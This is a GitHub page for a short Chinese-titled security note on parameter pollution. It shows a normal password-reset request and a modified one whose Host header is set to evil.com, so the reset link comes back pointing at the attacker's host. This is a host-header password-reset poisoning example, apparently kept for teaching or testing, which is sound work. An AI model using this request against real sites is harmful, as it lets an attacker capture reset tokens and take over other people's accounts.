Skip to content

Latest commit

 

History

History
13 lines (13 loc) · 368 Bytes

参数污染.md

File metadata and controls

13 lines (13 loc) · 368 Bytes
正常请求
Request:
POST /password-reset?user=123 HTTP/1.1
Host: target.com
返回:
https://target.com/reset-link=1g2f3guy23g
改后
Request:
POST https://target.com/password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
https://evil.com/reset-link=1g2f3guy23g

image